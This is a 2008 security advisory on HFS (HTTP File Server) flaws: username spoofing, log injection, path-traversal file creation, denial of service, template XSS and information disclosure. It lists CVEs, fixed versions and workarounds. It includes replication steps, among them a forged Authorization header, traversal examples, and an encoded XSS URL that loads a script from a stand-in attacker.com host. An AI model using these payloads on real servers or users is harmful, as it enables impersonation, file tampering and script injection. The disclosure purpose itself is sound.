|
|
|
Credit:
The information has been provided by Alec Storm.
|
|
Username Spoofing and Log Forging/Injection Vulnerability
HFS versions 1.5g to 2.3 Beta (and possibly version 1.5f) are vulnerable to log forging and username spoofing vulnerabilities. Remote attackers can appear to be logged in with any desired username or perform log injection in the log file and GUI panel. Technical details are included below.
Vulnerable Systems:
* HFS version 1.5g up to and including version 2.3 (Beta Build#174)
* HFS version 1.5f
Immune Systems:
* HFS version 1.5e and earlier
* HFS version 2.2c
Details (Replicating the issues):
1) Log Forging / Injection Vulnerability http://www.syhunt.com/advisories/hfshack.txt (See the "maniplog" command)
maniplog [localfilename]
This will inject the content of [localfilename] to the HFS log panel and file.
2) Username Spoofing Vulnerability
a. Login at http://[host]/~login as [user_x]. Then request (using a web browser): http://[user_y]:[anywrongpwd]@[host]/
--or--
b. Send a direct request in the following format (does not require previous login):
GET / HTTP/1.1
(...)
Authorization: Basic dXNlcl95
Both alternatives could make an admin to believe that user Y has made the HTTP request when reviewing logs.
Vulnerability Status:
The author was contacted and HFS version 2.2c was released. The new version can be downloaded at http://www.rejetto.com/hfs/download or via the "Check for news/updates" option in the HFS menu.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta build.
HFS 2.3 Beta is only affected if the option "Accept any login for unprotected resources" is enabled. This option, introduced in this version, is disabled by default.
CVE Information:
CVE-2008-0407 and CVE-2008-0408
Log Arbitrary File/Directory Manipulation and Denial-of-Service Vulnerabilities
HFS (versions 2.2 to 2.3 beta) will not check if an account name provided during navigation exists or contains any invalid chars before logging information about a request. This is specially dangerous if the server has been configured to use account names as log filenames.
In this case, a remote attacker can use this flaw to create arbitrary files, append data to arbitrary files, create arbitrary folders or launch a DoS attack against the server. Technical details are included below.
Vulnerable Systems:
* HFS version 2.2 up to and including version 2.3 (Beta Build #174)
Immune Systems:
* HFS version 2.1d and earlier
* HFS version 2.2c
Details (Replicating the issues):
1) Arbitrary File/Directory Manipulation Vulnerability http://www.syhunt.com/advisories/hfshack.txt (See the "mkd" and "manipf" commands)
Example 1 - Arbitrary Directory Creation:
If HFS is running (for e.g.) in the C:\HFS directory, you can create the C:\Syhunt\ directory by entering:
mkd ..\Syhunt
Example 2 - Arbitrary File Creation/Manipulation:
manipf [localfilename] [remotefilename]
manipf inject.html ..\Syhunt\index.html
This example would create the file "C:\Syhunt\index.html" and append the content of the file "inject.html" to it.
2) Denial of Service (DoS) Vulnerability http://www.syhunt.com/advisories/hfshack.txt ("checkdos" command)
* HFS will close immediately after receiving the DoS request
* This issue is related to Windows limitations with long filenames. XP has a limit of 255 characters; Windows Vista a 260 characters limit.
Vulnerability Status:
The vendor was contacted and has immediately released HFS 2.2c which fixes these problems. The new version can be downloaded at http://www.rejetto.com/hfs/download or via the "Check for news/updates" option in the HFS menu.
As a workaround for the affected releases, users can temporarily disable the logging feature or remove the %user% symbol from the log filename.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta build.
HFS 2.3 Beta specifically is only affected if the option "Accept any login for unprotected resources" is enabled. This option, introduced in this version, is disabled by default.
CVE Information:
CVE-2008-0405 and CVE-2008-0406
Template Cross-Site Scripting and Information Disclosure Vulnerabilities
When a specific URL is visited, HFS displays a non-existent account name in the response body. This non-existent account name can be HTML code, allowing a remote attacker to use this to launch XSS attacks.
Because the HTML code is also recognized by the web server as a HFS HTML template, it is also possible to inject symbols to force HFS to reveal details about the server (eg, current HFS server version, build, connections, timestamp, uptime, current outbound and inbound speed, and more). Technical details are included below.
Vulnerable Systems:
* HFS version 2.0 up to and including version 2.3 (Beta Build #174)
Immune Systems:
* HFS version 1.6a and earlier
* HFS version 2.2c
Details (Replicating the issues):
1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities
Example 1 - Launching a basic XSS:
http://<script>alert('Syhunt%20XSS')<%2fscript>a:x@[host]/
Example 2 - Injecting an external script (A mix of encoding and javascript functions is used here to circumvent browser URL limitations):
http://<script>var%20sChar=String%2efromCharCode(58)%3bdocument
%2ewrite('<script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom
%2fxss%2ejs><%5c%2fscript>')%3b<%2fscript>a:x@[host]/
* This is specially dangerous if launched against Firefox. In order to protect the password from prying eyes, Firefox entirely hides what comes before the at (@) character and then only the host name remains visible in the address bar. Firefox will also resubmit the authentication credentials every time the host is visited during the current browser session (unless new credentials are supplied).
* User must be already logged in (via /~login) and the current (root) path should not be password protected in the HFS-VFS panel.
* If the host symbol is injected using this technique, HFS will recognize it as a HTML template and return the data provided in Host field of the request as part of the response body. The same happens if the host symbol has been included (after customization) in the current HFS HTML template.
Detection:
http://www.syhunt.com/advisories/hfshack.txt (See the "checkxss" command)
Sandcat can also be used to identify this issue:
http://www.syhunt.com/sandcat
2) Information Disclosure
Example 1 - Injecting Symbols: (http://www.syhunt.com/advisories/hfshack.txt)
The "ver" command will force HFS to reveal its version and build. The "symbols" command will force HFS to reveal additional details about the server (such as connections, timestamp, uptime, current outbound and inbound speed, and more).
* You can disable the "Send HFS identifier" option (which enables the HFS banner) and remove all server identifier symbols from the original HTML template, and still it will work.
Additional Considerations:
* An updated IE will not accept basic auth via URL. See: http://support.microsoft.com/kb/834489 and the MS security update 832894 if you wish to learn about this subject.
Vulnerability Status:
The vendor was contacted and has immediately released HFS 2.2c which fixes these problems. The new version can be downloaded at http://www.rejetto.com/hfs/download or via the "Check for news/updates" option in the HFS menu.
As a workaround for the affected releases, users should remove the %user% and %host% symbols from any HFS HTML templates.
Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta build.
HFS 2.3 Beta specifically is only affected if the option "Accept any login for unprotected resources" is enabled. This option, introduced in this version, is disabled by default.
CVE Information:
CVE-2008-0409 and CVE-2008-0410
|
|
|
|